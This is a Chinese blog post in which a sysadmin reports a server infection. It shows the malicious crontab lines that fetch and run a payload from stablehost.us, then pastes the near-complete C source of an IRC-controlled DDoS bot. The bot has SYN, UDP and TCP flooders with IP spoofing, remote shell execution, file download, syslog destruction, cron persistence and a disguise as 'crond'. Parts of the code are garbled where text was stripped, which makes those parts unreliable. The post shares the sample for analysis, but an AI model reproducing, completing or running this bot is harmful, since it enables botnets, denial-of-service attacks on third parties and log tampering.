Linux 下一木马程序分享
前几天公司服务器被添加了一木马恶意程序，该程序一运行便对外发起了大量的连接，导致整个内网瘫痪掉，该木马注入的方式非常简单，只是在Linux crond定时器里加入以下任务：
[root@localhost tmp]# crontab -l
* * * * * /root/.zxc >/dev/null 2>&1
@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/.a;chmod +x /tmp/.a;sh /tmp/.a >/dev/null 2>&1
从指定网站下载相应的sh 脚本代码并运行，再下载木马程序源代码在本机编译执行，不断地对外发送数据包，有兴趣的朋友可以研究一下，看看该木马是要干什么的
木马的程序代码如下：
/*
* !* SH uname -a *
* There are a number of commands that can be sent to the client: *
* TSUNAMI = A PUSH+ACK flooder *
* PAN = A SYN flooder *
* UDP = An UDP flooder *
* UNKNOWN = Another non-spoof udp flooder *
* NICK = Changes the nick of the client *
* SERVER = Changes servers *
* GETSPOOFS = Gets the current spoofing *
* SPOOFS = Changes spoofing to a subnet *
* DISABLE = Disables all packeting from this bot *
* ENABLE = Enables all packeting from this bot *
* KILL = Kills the knight *
* GET = Downloads a file off the web *
* VERSION = Requests version of knight *
* KILLALL = Kills all current packeting *
* HELP = Displays this *
* IRC = Sends this command to the server *
* SH = Executes a command *
* Remember, all these commands must be prefixed by a ! and the nickname that *
* you want the command to be sent to (can include wildcards). There are no *
* spaces in between the ! and the nickname, and there are no spaces before *
* the ! *
* *
* - contem on efnet *
*******************************************************************************/
////////////////////////////////////////////////////////////////////////////////
// EDIT THESE //
////////////////////////////////////////////////////////////////////////////////
#define STARTUP // Start on startup?
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "crond" // What you want this to hide as
#define CHAN "#bsd" // Channel to join
#define KEY "routers" // The key of the channel
#define IRCPORT "6667"
int numservers=1; // Must change this to equal number of servers down there
char *servers[] = { // List the servers in that format, always end in (void*)0
"linksys.secureshellz.net",
(void*)0
};
////////////////////////////////////////////////////////////////////////////////
// STOP HERE! //
////////////////////////////////////////////////////////////////////////////////
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int sock,changeservers=0;
char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
unsigned int *pids;
unsigned long spoofs=0, spoofsm=0, numpids=0;
int strwildmatch(const char* pattern, const char* string) {
switch(*pattern) {
case '\0': return *string;
case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
case '?': return !(*string && !strwildmatch(pattern+1, string+1));
default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
}
}
int Send(int sock, char *words, ...) {
static char textBuffer[1024];
va_list args;
va_start(args, words);
vsprintf(textBuffer, words, args);
va_end(args);
return write(sock,textBuffer,strlen(textBuffer));
}
int mfork(char *sender) {
unsigned int parent, *newpids, i;
if (disabled == 1) {
Send(sock,"NOTICE %s :Unable to comply.\n",sender);
return 1;
}
parent=fork();
if (parent <= 0) return parent;
numpids++;
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
for (i=0;i= 20) exit(0);
szBuffer[i]=0;
if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
close(tmpsock);
close(sockfd);
exit(0);
}
long pow(long a, long b) {
if (b == 0) return 1;
if (b == 1) return a;
return a*pow(a,b-1);
}
u_short in_cksum(u_short *addr, int len) {
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer =0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
void get(int sock, char *sender, int argc, char **argv) {
int sock2,i,d;
struct sockaddr_in server;
unsigned long ipaddr;
char buf[1024];
FILE *file;
unsigned char bufm[4096];
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :GET \n",sender);
exit(0);
}
if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
exit(0);
}
if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
else strcpy(buf,argv[1]);
for (i=0;ih_addr, hostm->h_length);
}
else server.sin_addr.s_addr = ipaddr;
memset(&(server.sin_zero), 0, 8);
if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
exit(0);
}
Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
Send(sock,"NOTICE %s :Receiving file.\n",sender);
file=fopen(argv[2],"wb");
while(1) {
int i;
if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
if (i < 4096) bufm[i]=0;
for (d=0;d\n",sender);
return;
}
if (strlen(argv[1]) >= 10) {
Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
return;
}
Send(sock,"NICK %s\n",argv[1]);
}
void disable(int sock, char *sender, int argc, char **argv) {
if (argc != 1) {
Send(sock,"NOTICE %s :DISABLE \n",sender);
Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
return;
}
if (disabled) {
Send(sock,"NOTICE %s :Already disabled.\n",sender);
return;
}
if (strlen(argv[1]) > 254) {
Send(sock,"NOTICE %s :Password too long! > 254\n",sender);
return;
}
disabled=1;
memset(dispass,0,256);
strcpy(dispass,argv[1]);
Send(sock,"NOTICE %s :Disable sucessful.\n");
}
void enable(int sock, char *sender, int argc, char **argv) {
if (argc != 1) {
Send(sock,"NOTICE %s :ENABLE \n",sender);
Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
return;
}
if (!disabled) {
Send(sock,"NOTICE %s :Already enabled.\n",sender);
return;
}
if (strcasecmp(dispass,argv[1])) {
Send(sock,"NOTICE %s :Wrong password\n",sender);
return;
}
disabled=0;
Send(sock,"NOTICE %s :Password correct.\n",sender);
}
void spoof(int sock, char *sender, int argc, char **argv) {
char ip[256];
int i, num;
unsigned long uip;
if (argc != 1) {
Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
spoofs=0;
spoofsm=0;
return;
}
if (strlen(argv[1]) > 16) {
Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
return;
}
strcpy(ip,argv[1]);
if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
for (i=0, num=1;ih_addr, (char *)&i.s_addr, h->h_length);
}
return i.s_addr;
}
void udp(int sock, char *sender, int argc, char **argv) {
unsigned int port,i=0;
unsigned long psize,target,secs;
struct sockaddr_in s_in;
struct iphdr *ip;
struct udphdr *udp;
char buf[1500],*str;
int get;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
if (argc < 3) {
Send(sock,"NOTICE %s :UDP \n",sender);
exit(1);
}
target = host2ip(sender,argv[1]);
port = atoi(argv[2]);
secs = atol(argv[3]);
ip=(void*)buf;
udp=(void*)(buf+sizeof(struct iphdr));
str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = 1500;
ip->frag_off = 0;
ip->protocol = 17;
ip->ttl = 64;
ip->daddr = target;
udp->len = htons(psize);
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = target;
for (;;) {
udp->source = rand();
if (port) udp->dest = htons(port);
else udp->dest = rand();
udp->check = in_cksum((u_short *)buf,1500);
ip->saddr = getspoof();
ip->id = rand();
ip->check = in_cksum((u_short *)buf,1500);
s_in.sin_port = udp->dest;
sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
if (i >= 50) {
if (time(NULL) >= start+secs) exit(0);
i=0;
}
i++;
}
}
void pan(int sock, char *sender, int argc, char **argv) {
struct send_tcp send_tcp;
struct pseudo_header pseudo_header;
struct sockaddr_in sin;
unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
unsigned int psize=20, source, dest, check;
unsigned long saddr, daddr,secs;
int get;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 3) {
Send(sock,"NOTICE %s :PAN \n",sender);
exit(1);
}
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
{int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
daddr=host2ip(sender,argv[1]);
secs=atol(argv[3]);
Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 16;
send_tcp.ip.frag_off = 64;
send_tcp.ip.ttl = 64;
send_tcp.ip.protocol = 6;
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.doff = 10;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.rst = 0;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.window = 30845;
send_tcp.tcp.urg_ptr = 0;
dest=htons(atoi(argv[2]));
while(1) {
source=rand();
if (atoi(argv[2]) == 0) dest=rand();
saddr=getspoof();
send_tcp.ip.tot_len = htons(40+psize);
send_tcp.ip.id = rand();
send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr;
send_tcp.ip.check = 0;
send_tcp.tcp.source = source;
send_tcp.tcp.dest = dest;
send_tcp.tcp.seq = rand();
send_tcp.tcp.check = 0;
sin.sin_family = AF_INET;
sin.sin_port = dest;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
check = rand();
send_tcp.buf[9]=((char*)&check)[0];
send_tcp.buf[10]=((char*)&check)[1];
send_tcp.buf[11]=((char*)&check)[2];
send_tcp.buf[12]=((char*)&check)[3];
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20+psize);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
if (a >= 50) {
if (time(NULL) >= start+secs) exit(0);
a=0;
}
a++;
}
close(get);
exit(0);
}
void tsunami(int sock, char *sender, int argc, char **argv) {
struct send_tcp send_tcp;
struct pseudo_header pseudo_header;
struct sockaddr_in sin;
unsigned int psize=1400, check,i;
unsigned long saddr, daddr,secs;
int get;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :TSUNAMI \n",sender);
exit(1);
}
secs=atol(argv[2]);
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
srand(time(NULL) ^ getpid());
memset(send_tcp.buf,rand(),psize);
daddr=host2ip(sender,argv[1]);
Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
while(1) {
saddr=getspoof();
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 16;
send_tcp.ip.tot_len = htons(40+psize);
send_tcp.ip.id = rand();
send_tcp.ip.frag_off = 64;
send_tcp.ip.ttl = 64;
send_tcp.ip.protocol = 6;
send_tcp.ip.check = 0;
send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr;
send_tcp.tcp.source = rand();
send_tcp.tcp.dest = rand();
send_tcp.tcp.seq = rand();
send_tcp.tcp.ack_seq = rand();
send_tcp.tcp.doff = 5;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.cwr = 0;
send_tcp.tcp.ece = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.ack = 1;
send_tcp.tcp.psh = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 0;
send_tcp.tcp.window = 30845;
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;
sin.sin_family = AF_INET;
sin.sin_port = send_tcp.tcp.dest;
sin.sin_addr.s_addr = send_tcp.ip.daddr;
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
check = in_cksum((unsigned short *)&send_tcp, 40);
pseudo_header.source_address = send_tcp.ip.saddr;
pseudo_header.dest_address = send_tcp.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20+psize);
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
close(get);
exit(0);
}
void unknown(int sock, char *sender, int argc, char **argv) {
int flag=1,fd,i;
unsigned long secs;
char *buf=(char*)malloc(9216);
struct hostent *hp;
struct sockaddr_in in;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :UNKNOWN \n",sender);
exit(1);
}
secs=atol(argv[2]);
memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=host2ip(sender,argv[1]);
in.sin_family = AF_INET;
Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);
while(1) {
in.sin_port = rand();
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
else {
flag=1;
ioctl(fd,FIONBIO,&flag);
sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
close(fd);
}
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
close(fd);
exit(0);
}
/* high pps attack */
void unknown2(int sock, char *sender, int argc, char **argv) {
int flag=1,fd,i;
unsigned long secs;
char *buf=(char*)malloc(128);
struct hostent *hp;
struct sockaddr_in in;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :UNKNOWN \n",sender);
exit(1);
}
secs=atol(argv[2]);
memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=host2ip(sender,argv[1]);
in.sin_family = AF_INET;
Send(sock,"NOTICE %s :Udp pps %s.\n",sender,argv[1]);
while(1) {
in.sin_port = rand();
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
else {
flag=1;
ioctl(fd,FIONBIO,&flag);
sendto(fd,buf,128,0,(struct sockaddr*)&in,sizeof(in));
close(fd);
}
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
close(fd);
exit(0);
}
/* only on port 53 */
void unknown3(int sock, char *sender, int argc, char **argv) {
int flag=1,fd,i;
unsigned long secs;
char *buf=(char*)malloc(9216);
struct hostent *hp;
struct sockaddr_in in;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :UNKNOWN \n",sender);
exit(1);
}
secs=atol(argv[2]);
memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=host2ip(sender,argv[1]);
in.sin_family = AF_INET;
Send(sock,"NOTICE %s :UDO53 %s.\n",sender,argv[1]);
while(1) {
in.sin_port = 53;
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
else {
flag=1;
ioctl(fd,FIONBIO,&flag);
sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
close(fd);
}
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
close(fd);
exit(0);
}
/* high pps port 53 */
void unknown4(int sock, char *sender, int argc, char **argv) {
int flag=1,fd,i;
unsigned long secs;
char *buf=(char*)malloc(56);
struct hostent *hp;
struct sockaddr_in in;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc < 2) {
Send(sock,"NOTICE %s :UNKNOWN \n",sender);
exit(1);
}
secs=atol(argv[2]);
memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=host2ip(sender,argv[1]);
in.sin_family = AF_INET;
Send(sock,"NOTICE %s :UDP53:56 %s.\n",sender,argv[1]);
while(1) {
in.sin_port = 53;
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
else {
flag=1;
ioctl(fd,FIONBIO,&flag);
sendto(fd,buf,56,0,(struct sockaddr*)&in,sizeof(in));
close(fd);
}
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
close(fd);
exit(0);
}
void move(int sock, char *sender, int argc, char **argv) {
if (argc < 1) {
Send(sock,"NOTICE %s :MOVE \n",sender);
exit(1);
}
server=strdup(argv[1]);
changeservers=1;
close(sock);
}
void help(int sock, char *sender, int argc, char **argv) {
exit(0);
}
void killall(int sock, char *sender, int argc, char **argv) {
unsigned long i;
for (i=0;i 10) num_params=10;
params[0]=name;
params[num_params+1]="\0";
m=1;
while (*message != 0) {
message++;
if (m >= num_params) break;
for (i=0;ih_addr, hostm->h_length);
}
((char*)&spoofs)[3]=((char*)&m)[0];
((char*)&spoofs)[2]=((char*)&m)[1];
((char*)&spoofs)[1]=((char*)&m)[2];
((char*)&spoofs)[0]=0;
spoofsm=256;
}
}
void _433(int sock, char *sender, char *str) {
free(nick);
nick=makestring();
}
void _NICK(int sock, char *sender, char *str) {
int i;
for (i=0;ih_addr, (char*)&srv.sin_addr, hp->h_length);
}
else srv.sin_addr.s_addr=inet_addr(server);
srv.sin_family = AF_INET;
srv.sin_port = htons(25);
ioctl(sock,FIONBIO,&flag);
start=time(NULL);
while(time(NULL)-start < 10) {
errno=0;
if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
return;
}
if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
sleep(1);
}
server=NULL;
close(sock);
goto start;
}
int main(int argc, char **argv) {
int on,i;
char cwd[256],*str;
FILE *file;
system("rm -rf /var/log/syslog;touch /var/log/syslog;chmod 0000 /var/log/syslog;chattr +isa /var/log/syslog;");
#ifdef STARTUP
str="/tmp/cron";
file=fopen(str,"r");
if (file == NULL) {
system("touch /tmp/cron");
sleep(1);
file=fopen(str,"r");
}
if (file != NULL) {
char outfile[256], buf[1024],cron[1024],tmp[1024];
int i=strlen(argv[0]), d=0;
getcwd(cwd,256);
sprintf(cron,"* * * * * ");
if (strcmp(cwd,"/")) {
while(argv[0][i] != '/') i--;
sprintf(outfile,"%s%s",cwd,argv[0]+i);
while(!feof(file)) {
fgets(buf,1024,file);
if (!strcasecmp(buf,outfile)) d++;
}
strcat(cron,outfile);
strcat(cron," >/dev/null 2>&1\n");
sprintf(tmp,"@weekly wget http://stablehost.us/bots/regular.bot -O %s;chmod +x %s;%s >/dev/null 2>&1\n",outfile,outfile,outfile);
strcat(cron,tmp);
if (d == 0) {
FILE *out;
fclose(file);
out=fopen(str,"a");
if (out != NULL) {
fputs(cron,out);
fclose(out);
}
system("crontab /tmp/cron;rm -rf /tmp/cron");
}
else fclose(file);
}
else fclose(file);
}
#endif
/* end of startup / cron mod */
/* single instance by kingcope */
int pid_file = open("/tmp/.z", O_CREAT | O_RDWR, 0666);
int rc = flock(pid_file, LOCK_EX | LOCK_NB);
if(rc) {
if(EWOULDBLOCK == errno)
; // another instance is running
exit(1);
}
if (fork()) exit(0);
#ifdef FAKENAME
strncpy(argv[0],FAKENAME,strlen(argv[0]));
for (on=1;on 0) {
unsigned int *newpids,on;
for (on=i+1;on